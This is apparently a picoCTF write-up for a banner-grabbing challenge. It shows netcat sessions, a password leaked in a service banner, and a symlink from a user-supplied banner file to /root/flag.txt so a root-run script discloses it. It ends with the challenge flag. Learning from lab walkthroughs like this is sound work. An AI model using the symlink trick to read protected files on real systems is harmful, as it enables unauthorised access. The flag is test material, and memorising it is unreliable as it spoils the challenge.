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# If we connect to the first server we got the password :
nc tethys.picoctf.net 57582
# SSH-2.0-OpenSSH_7.6p1 My_Passw@rd_@1234

# Now we connect to the second server :
nc tethys.picoctf.net 52683
# *****
# *****WELCOME*****
# *****

# what is the password?
My_Passw@rd_@1234

# What is the top cyber security conference in the world?
DEF CON

# the first hacker ever was known for phreaking(making free phone calls), who
was it?
John Draper

player@challenge:~$

# If we list :
ls
# banner text

# After a little research, I found :
cd /
cd root
ls
#flag.txt  script.py

# If we "cat script.py" we can see :
# print("*****")
# print("*****DEFAULT BANNER*****")
# print("*Please supply banner in /home/player/banner*")
# print("*****")
.
.
.

# So we need to go back at /home/player and remove "banner" and use the command :
ln -s /root/flag.txt banner
# Because the hint remind us about "symlinks". Now, we restart the server and we
found the flag

THE FLAG : picoCTF{b4nn3r_gr4bb1n9_su((3sfu11y_f7608541}
~Z4que

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